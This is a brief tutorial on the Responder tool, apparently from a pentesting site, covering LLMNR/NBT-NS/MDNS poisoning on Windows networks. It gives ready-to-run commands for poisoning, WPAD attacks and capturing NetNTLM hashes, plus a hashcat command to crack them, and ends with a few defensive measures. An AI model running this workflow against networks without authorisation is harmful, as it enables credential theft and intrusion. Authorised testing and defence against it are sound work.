Responder Guide: LLMNR/NBT-NS Poisoning Tool
A comprehensive guide to Responder for LLMNR, NBT-NS, and MDNS poisoning attacks, credential harvesting, and network authentication testing.
Why You Need Responder
You are inside a Windows network and need to capture credentials without brute-forcing — Responder poisons LLMNR, NBT-NS, and MDNS requests to trick clients into sending their NetNTLM hashes. It is one of the fastest ways to obtain credentials in Active Directory environments during internal tests.
Prerequisites
How Responder Works
When DNS fails, Windows broadcasts LLMNR or NBT-NS queries. Responder answers these queries, claiming to be the requested resource. The client authenticates to the attacker, sending NTLM hashes that can be captured and cracked.
Installation
# Already installed on Kali
sudo apt install responder
Basic Usage
sudo responder -I eth0
Key Options
| Option | Description |
|--------|-------------|
| -I INTERFACE | Network interface |
| -r | Enable NBT-NS poisoning |
| -w | Enable WPAD proxy |
| -f | Fingerprint remote OS |
| -v | Verbose mode |
| -A | Analyze mode (no poisoning) |
Targeted Attacks
# LLMNR poisoning
sudo responder -I eth0 -rv
# WPAD attack
sudo responder -I eth0 -wF
# Analyze mode
sudo responder -I eth0 -A
Real-World Example
sudo responder -I eth0 -wrfv -o /home/kali/responder-logs
# Wait for hashes, then crack:
hashcat -m 5600 captured-ntlmv2.txt /usr/share/wordlists/rockyou.txt
Common Mistakes
Running without root. Not on the same broadcast domain. Leaving Responder running too long.
Best Practices
Use analyze mode first. Time attacks during business hours. Combine with Hashcat for cracking.
Defensive Considerations
Disable LLMNR via Group Policy. Disable NBT-NS. Use SMB signing.
Related Tools
Related Articles
Summary
Responder captures Windows credentials through LLMNR, NBT-NS, and MDNS poisoning. Effective use requires being on the same network segment and combining with hash cracking tools.